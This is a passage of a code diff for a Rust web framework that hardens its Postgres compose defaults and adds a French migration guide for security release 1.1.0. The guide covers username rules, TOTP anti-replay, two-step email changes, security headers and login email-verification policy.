| 48 | - maxlength="50" | |
| 49 | - pattern="[a-zA-Z0-9_-]+" | |
| 48 | + maxlength="39" | |
| 49 | + pattern="[a-z0-9-]+" | |
| 50 | 50 | title="{{ username_pattern }}" |
| 51 | 51 | required |
| 52 | 52 | > |
M
database/docker-compose.yml
+6
-3
@@ -9,11 +9,14 @@ services:
| 9 | 9 | # If you need to create multiple database you can add coma separated databases eg gis,data |
| 10 | 10 | - POSTGRES_DB=${POSTGRES_DB:-database} |
| 11 | 11 | - POSTGRES_USER=${POSTGRES_USER:-user} |
| 12 | - - POSTGRES_PASSWORD=${POSTGRES_PASSWORD:-pass3ord} | |
| 13 | - - ALLOW_IP_RANGE=${ALLOW_IP_RANGE:-0.0.0.0/0} | |
| 12 | + # Required: copy env.sample to .env and set a unique password. No default. | |
| 13 | + - POSTGRES_PASSWORD=${POSTGRES_PASSWORD:?Set POSTGRES_PASSWORD in database/.env} | |
| 14 | + # ALLOW_IP_RANGE n'est pas consommé par ce compose (pas de pg_hba custom). | |
| 15 | + # Conservé en commentaire pour ne pas prétendre restreindre 0.0.0.0/0 : | |
| 16 | + # - ALLOW_IP_RANGE=${ALLOW_IP_RANGE:-127.0.0.1/32} | |
| 14 | 17 | # Add extensions you need to be enabled by default in the DB. Default are the five specified below |
| 15 | 18 | ports: |
| 16 | - - 5432:5432 | |
| 19 | + - "127.0.0.1:5432:5432" | |
| 17 | 20 | restart: unless-stopped |
| 18 | 21 | healthcheck: |
| 19 | 22 | test: "exit 0" |
M
database/env.sample
+4
-1
@@ -1,8 +1,11 @@
| 1 | 1 | ## environment file for docker-compose and builders |
| 2 | +## Copy to database/.env (not committed). POSTGRES_PASSWORD is required | |
| 3 | +## (`:?` in docker-compose.yml) — there is no compose fallback. | |
| 2 | 4 | |
| 3 | 5 | COMPOSE_PROJECT_NAME=postgres-rustwarden |
| 4 | 6 | POSTGRES_DB=rustwarden |
| 5 | 7 | POSTGRES_USER=rustwarden_user |
| 6 | 8 | POSTGRES_PASSWORD=change_me_in_production |
| 7 | -ALLOW_IP_RANGE=0.0.0.0/0 | |
| 9 | +# ALLOW_IP_RANGE is unused by this compose (no custom pg_hba). | |
| 10 | +# ALLOW_IP_RANGE=127.0.0.1/32 | |
| 8 | 11 |
M
docs/MIGRATION_GUIDE.md
+496
-0
@@ -4,6 +4,502 @@ Ce document liste les changements qui impactent les projets consommateurs de `ru
| 4 | 4 | et `rustwarden-ui`, avec les instructions de migration pour chacun. |
| 5 | 5 | |
| 6 | 6 | Les entrees sont classees par date, de la plus recente a la plus ancienne. |
| 7 | +`rustwarden-cli update-project` recopie ce fichier dans `docs/` du projet consommateur | |
| 8 | +(avec `SERVICES_REFERENCE.md`). | |
| 9 | + | |
| 10 | +--- | |
| 11 | + | |
| 12 | +## 2026-09-18 — RFC 0036-0041 (1.1.0) | |
| 13 | + | |
| 14 | +Minor de securite. Les RFC 0036 a 0040 sont **Accepted (2026-09-18)**, la RFC | |
| 15 | +0041 **Accepted (2026-09-19)** ; toutes sont **implementees**. La RFC 0041 | |
| 16 | +**remplace** la RFC 0038, passee `Superseded` avant toute publication : lisez | |
| 17 | +directement la section 0041 ci-dessous, il n'y a pas de transition v1 → v2 a | |
| 18 | +faire. Fenetre d'adoption **14 jours** | |
| 19 | +([RUSTWARDEN_EVOLUTION_PROCESS.md](RUSTWARDEN_EVOLUTION_PROCESS.md) §9). | |
| 20 | +Details : CHANGELOG `[1.1.0]`, [SERVICES_REFERENCE.md](SERVICES_REFERENCE.md) | |
| 21 | +bandeau 1.1.0 + §3, §4, §9, §10, §19. | |
| 22 | + | |
| 23 | +**Trois API ajoutees** (`types::Username`, | |
| 24 | +`config::security_headers::SecurityHeadersConfig`, | |
| 25 | +`services::email_change_service::EmailChangeService`), | |
| 26 | +**quatre changements de comportement** sur des chemins d'auth existants, | |
| 27 | +**deux migrations SeaORM a jouer**, **cinq routes ajoutees**. | |
| 28 | + | |
| 29 | +> ⚠️ **Ordre imperatif** : jouer la migration | |
| 30 | +> `m20260918_000010_totp_last_used_step` **avant** de demarrer le binaire 1.1.0. | |
| 31 | +> Le modele SeaORM `user_totp` declare `last_used_step`, donc SeaORM emet la | |
| 32 | +> liste de colonnes explicite : sur un schema pre-migration, **toute** requete | |
| 33 | +> sur `user_totp` echoue — y compris `TotpService::is_totp_enabled`, appelee a | |
| 34 | +> **chaque** login. Un replica 1.1.0 sur un schema pre-migration fait donc | |
| 35 | +> echouer **tous les logins en HTTP 500** (pas seulement ceux des comptes 2FA) | |
| 36 | +> tant que la colonne `user_totp.last_used_step` est absente. | |
| 37 | + | |
| 38 | +### Ordre d'operations | |
| 39 | + | |
| 40 | +```bash | |
| 41 | +# 1. Sauvegarde avant tout | |
| 42 | +pg_dump "$DATABASE_URL" > backup-avant-1.1.0.sql | |
| 43 | + | |
| 44 | +# 2. Recuperer le framework (vendor + docs framework-owned) | |
| 45 | +cargo run -p rustwarden-cli -- update-project | |
| 46 | + | |
| 47 | +# 3. Aligner les pins de dependances de crates/rustwarden-core/Cargo.toml | |
| 48 | +# sea-orm / sea-orm-migration = "2.0.0", sea-bae = "0.2.2", | |
| 49 | +# validator_derive = "0.20.1" | |
| 50 | +cargo update | |
| 51 | + | |
| 52 | +# 4. Migrations AVANT le deploiement du binaire | |
| 53 | +# m20260918_000010_totp_last_used_step + m20260919_000011_pending_email_changes | |
| 54 | +cargo run --bin migrate | |
| 55 | +# (ou auto_migrate(true) si deploiement mono-instance) | |
| 56 | + | |
| 57 | +# 5. Rediriger les appels qui changeaient l'email (RFC 0041) | |
| 58 | +grep -rn "update_profile" src/ | |
| 59 | + | |
| 60 | +# 6. Lint | |
| 61 | +cargo clippy --workspace -- -D warnings | |
| 62 | + | |
| 63 | +# 7. Smoke tests auth : login, register, changement d'email, 2FA | |
| 64 | +``` | |
| 65 | + | |
| 66 | +`cargo clippy --workspace --all-features` est a eviter : la feature | |
| 67 | +`redis-session` de `rustwarden-core` ne compile pas. | |
| 68 | + | |
| 69 | +--- | |
| 70 | + | |
| 71 | +### RFC 0036 — newtype `Username` | |
| 72 | + | |
| 73 | +[docs/rfcs/0036-username-charset-validation.md](rfcs/0036-username-charset-validation.md) | |
| 74 | + | |
| 75 | +| Sujet | Avant (1.0.1) | Apres (1.1.0) | | |
| 76 | +|-------|---------------|---------------| | |
| 77 | +| Charset username | Aucune contrainte : `John_Doe`, `alice.bob`, backticks et `$` acceptes | `[a-z0-9-]` uniquement. Majuscule **rejetee** (pas de fold : `Alice` → erreur, pas `alice`) | | |
| 78 | +| Longueur | `RegisterRequest` : 3–64 | 3–39 (apres `trim`), `RegisterRequest` : `max = 39` | | |
| 79 | +| Tirets | Libres | Ni en tete ni en queue, pas de `--` consecutifs | | |
| 80 | +| Noms reserves | Aucun | `types::team_slug::RESERVED` + `me` + `explore` | | |
| 81 | +| Porte de validation | Aucune | `UserService::create_user` (unique gate) + `POST /api/v1/auth/register` (defense en profondeur) | | |
| 82 | +| Rename (`update_profile`) | Unicite seulement | `Username::parse` **seulement sur un vrai rename** ; echo du username courant = no-op | | |
| 83 | +| Bootstrap admin | `create_user` | `create_user_allow_reserved` (`pub(crate)`, reserve a `ensure_default_admin`) → `ADMIN_USERNAME=admin` continue de booter | | |
| 84 | +| OAuth auto-username | `_` possible, longueur libre | `OAuthService::generate_unique_username` : minuscules `[a-z0-9]`, base a 30 chars, suffixes `-NNN` / `-user` / `-<hex8>` | | |
| 85 | +| Schema DB | — | **Aucun `CHECK` SQL, aucune migration, aucun rewrite** | | |
| 86 | +| Login des comptes existants | — | **Inchange** — les handles hors charset se connectent toujours | | |
| 87 | + | |
| 88 | +**Actions consommateur** | |
| 89 | + | |
| 90 | +```bash | |
| 91 | +# Usernames generes par votre app : passent-ils Username::parse ? | |
| 92 | +grep -rn "create_user(" src/ | |
| 93 | +grep -rn "update_profile(" src/ | |
| 94 | +# Newtype Username local a retirer (ex. gitrust) | |
| 95 | +grep -rni "struct Username\|fn parse_username\|validate_username" src/ | |
| 96 | +``` | |
| 97 | + | |
| 98 | +- Si votre app genere des usernames (import LDAP, seed, provisioning SSO maison), | |
| 99 | + verifier qu'ils sont en minuscules, `[a-z0-9-]`, 3–39 caracteres, sans `--`. | |
| 100 | + Sinon `create_user` renvoie desormais `AppError::Validation` (HTTP 400). | |
| 101 | +- **Retirer** un newtype `Username` local : utiliser | |
| 102 | + `rustwarden_core::types::Username` (re-exporte au prelude). Pour valider un | |
| 103 | + identifiant avant de le stocker ailleurs : | |
| 104 | + | |
| 105 | + ```rust | |
| 106 | + use rustwarden_core::prelude::*; | |
| 107 | + | |
| 108 | + let username = Username::parse(&raw_input)?; // AppError::Validation si invalide | |
| 109 | + UserService::create_user(&db, username.into_inner(), email, hash, false).await?; | |
| 110 | + ``` | |
| 111 | + | |
| 112 | +- Formulaires cote client : aligner le `maxlength` / le pattern HTML sur 39 et | |
| 113 | + `[a-z0-9-]` pour ne pas renvoyer une erreur serveur a l'utilisateur. | |
| 114 | + `rustwarden-ui` le fait desormais pour ses propres ecrans (`login.html` | |
| 115 | + inscription, `profile.html`, `admin/user_form.html` en mode `create`) et ses | |
| 116 | + six locales decrivent la bonne regle — si vous avez **forke** ces templates ou | |
| 117 | + ces fichiers `locales/*.yml`, reportez le changement a la main : | |
| 118 | + `maxlength="39"`, `pattern="[a-z0-9-]+"`, et le texte d'aide | |
| 119 | + « minuscules, chiffres et tirets uniquement, 3 a 39 caracteres ». | |
| 120 | + | |
| 121 | +**Pieges** | |
| 122 | + | |
| 123 | +- **Comptes existants hors charset** : ils se connectent toujours, mais toute | |
| 124 | + tentative de **rename** vers une autre valeur passe par `Username::parse`. | |
| 125 | + Un utilisateur `John_Doe` peut renvoyer `John_Doe` (no-op), il ne peut pas | |
| 126 | + renommer en `John_Doe2`. | |
| 127 | +- **`ADMIN_USERNAME` avec une majuscule ou un `_`** : le chemin de creation de | |
| 128 | + l'admin par defaut (`ensure_default_admin` → `validate_new_admin_credentials` | |
| 129 | + → `AdminConfig::validate`) delegue a `Username::parse_allow_reserved`, qui | |
| 130 | + refuse toujours le mauvais charset. `build()` propage l'erreur : **le boot | |
| 131 | + echoue**. A noter : ce controle ne s'applique que sur le **chemin de creation** | |
| 132 | + (aucun admin en base + `ADMIN_PASSWORD` defini). Un deploiement dont l'admin | |
| 133 | + existe deja n'est pas impacte. Le wizard | |
| 134 | + `cargo run -p rustwarden-cli -- start-project` valide maintenant cette saisie | |
| 135 | + au moment de la poser, pour que l'erreur remonte dans le wizard et non au | |
| 136 | + premier `build()`. | |
| 137 | +- Le nom reserve `admin` reste accepte pour le bootstrap uniquement ; un | |
| 138 | + `POST /api/v1/auth/register` avec `admin` est refuse. | |
| 139 | + | |
| 140 | +--- | |
| 141 | + | |
| 142 | +### RFC 0037 — anti-rejeu TOTP persistant (`last_used_step`) | |
| 143 | + | |
| 144 | +[docs/rfcs/0037-totp-last-used-step.md](rfcs/0037-totp-last-used-step.md) | |
| 145 | + | |
| 146 | +| Sujet | Avant (1.0.1) | Apres (1.1.0) | | |
| 147 | +|-------|---------------|---------------| | |
| 148 | +| Anti-rejeu | Garde **in-process** (`HashMap` `OnceLock`, TTL 90 s) | Garde **persistee en base** : `user_totp.last_used_step BIGINT NULL` | | |
| 149 | +| Multi-replicas | Un code valide rejouable sur un **autre** replica | Ferme : compare-and-set SQL partage | | |
| 150 | +| Mecanisme | — | `UPDATE user_totp SET last_used_step = $step WHERE user_id = $id AND (last_used_step IS NULL OR last_used_step < $step)`, succes ssi `rows_affected == 1` | | |
| 151 | +| Pas consomme | — | Le pas **qui a matche** (`matching_totp_step`, skew ±1), jamais `now / 30` | | |
| 152 | +| Rejeu detecte | — | `Ok(false)` — meme reponse qu'un code invalide, pas d'oracle | | |
| 153 | +| Couverture | `verify_code` | `verify_code` **et** `verify_and_enable` (le code de setup ne peut plus servir de login immediat) | | |
| 154 | +| Erreur DB | — | Propagee en `AppError` — jamais fail-open | | |
| 155 | +| Plafonds 1.0.1 | 15 tentatives / 15 min (somme), 5 par challenge | **Inchanges**, la garde in-process est conservee en defense en profondeur | | |
| 156 | + | |
| 157 | +**Actions consommateur** | |
| 158 | + | |
| 159 | +```bash | |
| 160 | +# Patch local du rejeu TOTP a retirer | |
| 161 | +grep -rn "last_used_step\|replay_guard\|totp_replay" src/ | |
| 162 | +``` | |
| 163 | + | |
| 164 | +- Jouer la migration (`cargo run --bin migrate` ou `auto_migrate(true)`). | |
| 165 | +- Verifier la colonne : `\d user_totp` doit lister `last_used_step | bigint | nullable`. | |
| 166 | +- Retirer tout patch local dupliquant l'anti-rejeu TOTP. | |
| 167 | + | |
| 168 | +**Pieges** | |
| 169 | + | |
| 170 | +- **Ordre de deploiement : migration d'abord, binaire ensuite — le rayon de | |
| 171 | + souffle depasse le 2FA.** Le modele SeaORM `user_totp` declare desormais | |
| 172 | + `last_used_step` ; SeaORM genere une liste de colonnes explicite, donc sur un | |
| 173 | + schema pre-migration **toute** requete sur `user_totp` echoue (`column | |
| 174 | + user_totp.last_used_step does not exist`), pas seulement le compare-and-set. | |
| 175 | + Or `TotpService::is_totp_enabled` est appelee a **chaque** login par | |
| 176 | + `auth/handlers.rs` : **tous les logins renvoient 500**, y compris ceux des | |
| 177 | + comptes sans 2FA. Ce n'est donc pas une degradation partielle du 2FA, c'est | |
| 178 | + une **panne totale de l'authentification** jusqu'a ce que la colonne existe. | |
| 179 | +- `last_used_step IS NULL` = « aucun pas consomme depuis la migration ». Le | |
| 180 | + premier code presente apres migration est donc toujours accepte | |
| 181 | + (grandfathering des lignes existantes) — c'est voulu. | |
| 182 | +- La colonne est **ajoutee sans defaut** : l'`ALTER TABLE ... ADD COLUMN ... NULL` | |
| 183 | + ne reecrit pas la table. | |
| 184 | + | |
| 185 | +--- | |
| 186 | + | |
| 187 | +### RFC 0041 — changement d'email en deux temps (remplace la RFC 0038) | |
| 188 | + | |
| 189 | +[docs/rfcs/0041-pending-email-changes.md](rfcs/0041-pending-email-changes.md) | |
| 190 | + | |
| 191 | +> La [RFC 0038](rfcs/0038-email-change-revalidation.md) est **Superseded** : | |
| 192 | +> elle n'a jamais ete publiee, il n'y a donc **aucune** note de transition | |
| 193 | +> v1 → v2. Si vous aviez commence a l'implementer sur une pre-release, la | |
| 194 | +> colonne de droite ci-dessous est la seule qui compte. | |
| 195 | + | |
| 196 | +| Sujet | Avant (1.0.1) | Apres (1.1.0) | | |
| 197 | +|-------|---------------|---------------| | |
| 198 | +| `update_profile` + nouvelle adresse | `users.email` ecrit immediatement, `email_verified` conserve a `true` | **Refus** : `AppError::Validation` qui renvoie vers `EmailChangeService` — l'adresse n'est **jamais** ecrite par ce chemin | | |
| 199 | +| `update_profile` + echo de l'adresse courante | Ecriture silencieuse (valeur identique) | No-op complet, comparaison exacte apres `trim` — les formulaires qui resoumettent tous les champs continuent de marcher | | |
| 200 | +| Chemin utilisateur | — | `EmailChangeService::request_change(&db, user_id, new_email, current_password)` : **mot de passe courant exige**, ligne `pending_email_changes`, deux mails en file | | |
| 201 | +| Etat de la base tant que le lien n'est pas suivi | — | **Rien ne bouge** : `users.email` inchange, `email_verified` toujours `true` | | |
| 202 | +| Confirmation | — | `POST /api/v1/auth/email-change/confirm/{token}` : adresse ecrite **deja verifiee**, **tous les refresh tokens revoques**, demandes de changement de mot de passe invalidees, `audit_logs` `email_changed` | | |
| 203 | +| Mail vers la nouvelle adresse | Aucun | Lien de **confirmation** | | |
| 204 | +| Mail vers l'ancienne adresse | Aucun (ou duplique cote UI) | Avis + lien de **signalement** (alerte les admins, ne bloque pas) | | |
| 205 | +| Chemin admin | `PUT /admin/users/:id` ecrivait l'adresse | `EmailChangeService::admin_force_change` — role `admin` exige, sessions de la cible revoquees, `audit_logs` `email_changed_by_admin` (WARN). `PUT /admin/users/{id}` **ne change plus l'adresse** | | |
| 206 | +| Echec SMTP / file d'e-mails | Best-effort (l'update reussissait quand meme) | **Fail-loud** : `request_change` echoue, **rien** n'est ecrit — pas de demande dont le lien n'arriverait jamais | | |
| 207 | +| Limiteur | Budget IP seulement | **3 demandes / heure / utilisateur** (`email_change:{user_id}`) **+** budget IP sur `POST /api/v1/auth/email-change` | | |
| 208 | +| Logs / audit / hooks | Adresse en clair possible | Adresses masquees (`jo***@ex***`), y compris dans le corps de reponse | | |
| 209 | +| Faute de frappe sur la nouvelle adresse | Lock-out definitif du compte | **Sans effet** : le lien part dans le vide, la demande expire, le compte n'a jamais bouge | | |
| 210 | +| Rename username seul | — | Aucun impact sur l'email | | |
| 211 | + | |
| 212 | +**Nouvelles routes** (canal machine, `merge_machine_routes` / `auth_api_routes()`) | |
| 213 | + | |
| 214 | +Les liens envoyes par e-mail ouvrent une **page interstitielle** : le `GET` | |
| 215 | +affiche un formulaire, c'est le `POST` du bouton qui agit. Aucun `GET` n'a | |
| 216 | +d'effet de bord, donc aucune passerelle anti-phishing qui precharge les liens | |
| 217 | +ne peut confirmer un changement d'adresse a la place de l'utilisateur. | |
| 218 | + | |
| 219 | +| Methode | Chemin | Auth | Effet | | |
| 220 | +|---|---|---|---| | |
| 221 | +| POST | `/api/v1/auth/email-change` | Bearer + **mot de passe courant** dans le corps | ouvre la demande | | |
| 222 | +| GET | `/api/v1/auth/email-change/confirm/{token}` | public (lien de mail) | **rend la page**, n'ecrit rien | | |
| 223 | +| POST | `/api/v1/auth/email-change/confirm/{token}` | public (bouton de la page) | applique le changement | | |
| 224 | +| GET | `/api/v1/auth/email-change/report/{token}` | public (lien de mail) | **rend la page**, n'ecrit rien | | |
| 225 | +| POST | `/api/v1/auth/email-change/report/{token}` | public (bouton de la page) | enregistre le signalement | | |
| 226 | + | |
| 227 | +Les pages sont du HTML minimal autoportant produit par le core : ni Askama, ni | |
| 228 | +`rustwarden-ui`, ni JavaScript, ni ressource externe. Un consommateur qui veut | |
| 229 | +sa propre presentation monte sa propre route `GET` et poste vers la route | |
| 230 | +`POST` du core. | |
| 231 | + | |
| 232 | +**Actions consommateur** | |
| 233 | + | |
| 234 | +```bash | |
| 235 | +# 1. Appels qui passaient une nouvelle adresse | |
| 236 | +grep -rn "update_profile" src/ | |
| 237 | + | |
| 238 | +# 2. Code applicatif devenu redondant | |
| 239 | +grep -rn "email_verified" src/ | |
| 240 | +grep -rn "account_modified" src/ | |
| 241 | +grep -rn "invalidate_on_email_change" src/ | |
| 242 | +``` | |
| 243 | + | |
| 244 | +- **Jouer la migration** `m20260919_000011_pending_email_changes`. Elle fait | |
| 245 | + deux choses : | |
| 246 | + 1. elle cree la table `pending_email_changes` — nouvelle, aucune donnee | |
| 247 | + existante n'est touchee, `down` la supprime ; | |
| 248 | + 2. elle **elargit la contrainte `chk_email_queue_email_type`** de | |
| 249 | + `email_queue` aux quatre types de la RFC 0041 | |
| 250 | + (`email_change_validation`, `email_change_notice`, | |
| 251 | + `email_change_reported`, `email_change_by_admin`). Sans cet | |
| 252 | + elargissement, le premier `INSERT` du flux serait rejete par PostgreSQL | |
| 253 | + (`23514`). Si vous avez **redefini cette contrainte** dans une migration | |
| 254 | + a vous, rejouez-la apres celle-ci ou ajoutez-y les quatre valeurs : la | |
| 255 | + migration part de la liste du schema initial et n'a aucun moyen de | |
| 256 | + deviner vos ajouts. Le `down` ne retrecit la contrainte que si aucune | |
| 257 | + ligne d'`email_queue` ne porte encore un de ces types — un rollback ne | |
| 258 | + detruit pas l'historique des mails envoyes. | |
| 259 | +- **Rediriger** les appels a `update_profile` qui passent une **nouvelle** | |
| 260 | + adresse vers `EmailChangeService::request_change`. Un echo de l'adresse | |
| 261 | + **courante** reste un no-op : rien a changer pour les formulaires qui | |
| 262 | + resoumettent tous les champs. | |
| 263 | +- **Chemin administrateur** : tout consommateur qui appelait | |
| 264 | + `PUT /admin/users/{id}` (ou `update_profile` depuis un handler admin) pour | |
| 265 | + corriger l'e-mail d'un compte doit basculer sur : | |
| 266 | + | |
| 267 | + ```rust | |
| 268 | + EmailChangeService::new(email_config) | |
| 269 | + .admin_force_change(&db, admin_id, user_id, "fixed@example.com", None) | |
| 270 | + .await?; | |
| 271 | + ``` | |
| 272 | + | |
| 273 | + C'est la **meme capacite** qu'avant, mais explicite et auditee au lieu d'etre | |
| 274 | + un effet de bord de la mise a jour de profil. Le reste de | |
| 275 | + `PUT /admin/users/{id}` (username, roles, statut) est inchange. | |
| 276 | +- **Retirer** tout code applicatif qui, apres un changement d'adresse, remettait | |
| 277 | + `email_verified` a la main, enqueuait un mail de validation / une alerte | |
| 278 | + `account_modified`, ou appelait | |
| 279 | + `PasswordChangeService::invalidate_on_email_change` : le core emet ce dernier | |
| 280 | + lui-meme dans `confirm_change` et `admin_force_change`, c'est-a-dire aux deux | |
| 281 | + seuls instants ou l'adresse change reellement. | |
| 282 | +- **Verifier SMTP et le worker `email_queue` avant le bump** : sans file | |
| 283 | + fonctionnelle, `request_change` echoue (volontairement) au lieu d'ecrire une | |
| 284 | + adresse non prouvee. | |
| 285 | +- Facultatif, purge des demandes expirees — le framework ne la demarre pas, | |
| 286 | + comme pour les processeurs existants : | |
| 287 | + | |
| 288 | + ```rust | |
| 289 | + PendingEmailChangeCleanupProcessor::new(db.clone()).start(); | |
| 290 | + ``` | |
| 291 | + | |
| 292 | + Retention : 30 jours apres expiration, constante de code, aucune variable | |
| 293 | + d'environnement a definir. Sans ce demarrage, une purge opportuniste limitee a | |
| 294 | + l'utilisateur courant s'execute a chaque nouvelle demande. | |
| 295 | +- Cote UI : rien d'obligatoire. Le champ e-mail du formulaire de profil ne | |
| 296 | + produit plus d'erreur tant qu'il renvoie l'adresse courante. Les ecrans dedies | |
| 297 | + (demande en cours, annulation, double saisie) sont un chantier UI separe. | |
| 298 | +- Si vous surchargez les templates d'e-mail du framework, exposez les **deux** | |
| 299 | + liens. Attention au libelle : le lien **ouvre une page de confirmation**, il ne | |
| 300 | + confirme pas directement. | |
| 301 | + | |
| 302 | +**Pieges** | |
| 303 | + | |
| 304 | +- **Duree de validite** : le lien utilise `email_validation_expiration_hours`, | |
| 305 | + le reglage deja en place pour la validation d'adresse. Pas de nouvelle | |
| 306 | + variable d'environnement. | |
| 307 | +- **Les sessions tombent a la confirmation**, pas a la demande. L'utilisateur | |
| 308 | + qui confirme depuis sa nouvelle boite est deconnecte partout et doit se | |
| 309 | + reconnecter avec la **nouvelle** adresse : dites-le dans l'ecran qui ouvre la | |
| 310 | + demande, sinon le support recoit des tickets « je suis deconnecte ». | |
| 311 | +- **Le signalement n'annule rien.** Le lien envoye a l'ancienne adresse alerte | |
| 312 | + les administrateurs et trace en `audit_logs` (WARN) ; il ne bloque pas le | |
| 313 | + changement. La boite qui recoit ce lien peut alerter, pas decider — c'est un | |
| 314 | + choix explicite de la RFC (un attaquant qui controle l'ancienne boite ne doit | |
| 315 | + pas pouvoir bloquer la reprise de controle legitime). | |
| 316 | +- **Course sur la meme adresse cible** : si deux comptes demandent la meme | |
| 317 | + adresse, le second a confirmer recoit un `Validation` neutre (« adresse plus | |
| 318 | + disponible ») qui ne nomme pas le compte gagnant, et sa ligne n'est **pas** | |
| 319 | + consommee — son lien refonctionne si l'adresse se libere avant expiration. | |
| 320 | +- **Recours perdu** : un utilisateur qui a perdu **a la fois** son mot de passe | |
| 321 | + et l'acces a son adresse courante ne peut plus se debloquer seul ; c'est un | |
| 322 | + recours administrateur (`admin_force_change`) apres verification d'identite | |
| 323 | + hors bande. | |
| 324 | +- **Faute de frappe a l'inscription** : hors perimetre. `register` ecrit | |
| 325 | + l'adresse saisie sans double verification ; un utilisateur qui se trompe au | |
| 326 | + signup releve du meme recours administrateur. Si vous voulez fermer ce cas, | |
| 327 | + ajoutez une double saisie dans **votre** formulaire d'inscription. | |
| 328 | +- La locale des mails suit le `Locale` de la requete quand l'application monte | |
| 329 | + l'`I18nService` ; sans extension i18n, le service retombe sur les libelles | |
| 330 | + anglais embarques. | |
| 331 | + | |
| 332 | +--- | |
| 333 | + | |
| 334 | +### RFC 0039 — `SecurityHeadersConfig` | |
| 335 | + | |
| 336 | +[docs/rfcs/0039-security-headers-config.md](rfcs/0039-security-headers-config.md) | |
| 337 | + | |
| 338 | +| Sujet | Avant (1.0.1) | Apres (1.1.0) | | |
| 339 | +|-------|---------------|---------------| | |
| 340 | +| CSP | Litteral hardcode dans `security_headers_middleware` | `SecurityHeadersConfig.content_security_policy`, configurable | | |
| 341 | +| COOP / CORP | Jamais emis | **Opt-in** : `Option<Cow<'static, str>>`, `None` par defaut = header non emis | | |
| 342 | +| Wiring | — | `RustwardenApp::builder().security_headers(cfg)` ; le middleware capture un `Arc` a la construction (pas d'`Extension` : le layer est plus externe que les `Extension(...)`) | | |
| 343 | +| Valeur par defaut | — | **Bit-identique a 1.0.1** — `'unsafe-inline'` et `'unsafe-eval'` conserves (Alpine.js) | | |
| 344 | +| Autres headers | `X-Content-Type-Options`, `X-Frame-Options`, `X-XSS-Protection`, `Referrer-Policy`, `Permissions-Policy`, HSTS | **Inchanges et non configurables** (non-goals de la RFC) | | |
| 345 | +| Valeur invalide | — | CSP invalide → fallback sur le defaut + warning ; COOP/CORP invalide → header saute + warning. Jamais de panique | | |
| 346 | + | |
| 347 | +**Ce que la RFC ne fait PAS** : elle n'ameliore aucune politique par defaut. | |
| 348 | +Un consommateur qui n'appelle jamais `.security_headers(..)` obtient exactement | |
| 349 | +les memes en-tetes qu'en 1.0.1. La constante `CSP_WITHOUT_UNSAFE_EVAL` est | |
| 350 | +fournie mais **non utilisee** par `Default` — le durcissement du defaut est une | |
| 351 | +**Phase 2** ulterieure, apres migration Alpine CSP | |
| 352 | +([plans/PLAN_CSP_HTMX.md](plans/PLAN_CSP_HTMX.md)). | |
| 353 | + | |
| 354 | +**Actions consommateur** | |
| 355 | + | |
| 356 | +```bash | |
| 357 | +# Overlay CSP local a retirer (ex. gitrust) | |
| 358 | +grep -rn "SetResponseHeaderLayer" src/ | |
| 359 | +grep -rn "CONTENT_SECURITY_POLICY\|Cross-Origin-Opener-Policy\|content-security-policy" src/ | |
| 360 | +``` | |
| 361 | + | |
| 362 | +```rust | |
| 363 | +use rustwarden_core::prelude::*; // SecurityHeadersConfig | |
| 364 | + | |
| 365 | +// AVANT — overlay tower-http par-dessus le middleware framework | |
| 366 | +let router = router.layer(SetResponseHeaderLayer::overriding( | |
| 367 | + header::CONTENT_SECURITY_POLICY, | |
| 368 | + HeaderValue::from_static("default-src 'self'; script-src 'self'"), | |
| 369 | +)); | |
| 370 | + | |
| 371 | +// APRES — configuration native | |
| 372 | +let app = RustwardenApp::builder() | |
| 373 | + .from_env() | |
| 374 | + .security_headers( | |
| 375 | + SecurityHeadersConfig { | |
| 376 | + content_security_policy: "default-src 'self'; script-src 'self'".into(), | |
| 377 | + ..SecurityHeadersConfig::default() | |
| 378 | + } | |
| 379 | + .with_same_origin_isolation(), // COOP + CORP = same-origin | |
| 380 | + ) | |
| 381 | + .build() | |
| 382 | + .await?; | |
| 383 | +``` | |
| 384 | + | |
| 385 | +**Pieges** | |
| 386 | + | |
| 387 | +- Une CSP custom trop stricte casse l'UI `rustwarden-ui` (HTMX + Alpine.js ont | |
| 388 | + besoin de `'unsafe-inline'` et, pour la build Alpine standard, `'unsafe-eval'`). | |
| 389 | + A reserver aux apps headless ou a UI maison. | |
| 390 | +- COOP/CORP `same-origin` cassent les integrations cross-origin (iframes, CDN | |
| 391 | + d'assets, widgets tiers). Tester avant d'activer. | |
| 392 | + | |
| 393 | +--- | |
| 394 | + | |
| 395 | +### RFC 0040 — `authenticate_user` honore `validation_email_required` | |
| 396 | + | |
| 397 | +[docs/rfcs/0040-authenticate-user-email-verified.md](rfcs/0040-authenticate-user-email-verified.md) | |
| 398 | + | |
| 399 | +| Sujet | Avant (1.0.1) | Apres (1.1.0) | | |
| 400 | +|-------|---------------|---------------| | |
| 401 | +| Ou vit le controle | Handler HTTP `POST /api/v1/auth/login` | `AuthService::authenticate_user` (service) | | |
| 402 | +| Appel direct au service | **Contourne** la politique | Applique la politique | | |
| 403 | +| Reglage | `validation_email_required` / alias `validation_email_requise` | **Identique** | | |
| 404 | +| Defaut | `true` | `true` (fail-closed : erreur de lookup = verification requise) | | |
| 405 | +| Message d'erreur | Francais | **Identique**, meme `AppError::Validation` (HTTP 400) | | |
| 406 | +| Ordre des controles | — | Mot de passe **d'abord**, politique email ensuite → pas d'oracle « compte existant non verifie » | | |
| 407 | +| `verify_credentials` | Mot de passe seul | **Inchange** — primitive mot de passe seul, pas de controle email (utilisee par le re-prompt TOTP) | | |
| 408 | +| Hook `auth.login_blocked` | Emis par le handler | **Plus emis** (decision v1) — la ligne `audit_logs` est toujours ecrite | | |
| 409 | + | |
| 410 | +**Actions consommateur** | |
| 411 | + | |
| 412 | +```bash | |
| 413 | +grep -rn "authenticate_user\|verify_credentials" src/ | |
| 414 | +grep -rn "login_blocked\|on_audit_event" src/ | |
| 415 | +``` | |
| 416 | + | |
| 417 | +- Retirer tout patch local qui dupliquait le controle `email_verified` apres | |
| 418 | + `authenticate_user` (double verification = double message d'erreur). | |
| 419 | +- Si votre SSR appelait `authenticate_user` : il applique desormais la politique. | |
| 420 | + **Verifier que votre ecran de login affiche le message d'erreur** et propose | |
| 421 | + « renvoyer l'email de validation ». | |
| 422 | +- Si vous avez volontairement besoin d'un login sans controle email (outil | |
| 423 | + interne, migration), utilisez `verify_credentials` **en connaissance de cause** | |
| 424 | + — c'est un contournement explicite de la politique. | |
| 425 | + | |
| 426 | +**Pieges** | |
| 427 | + | |
| 428 | +- **Le hook `on_audit_event` / `auth.login_blocked` n'est plus emis** sur ce | |
| 429 | + chemin. Une alerte SIEM branchee sur ce hook devient silencieuse : basculer la | |
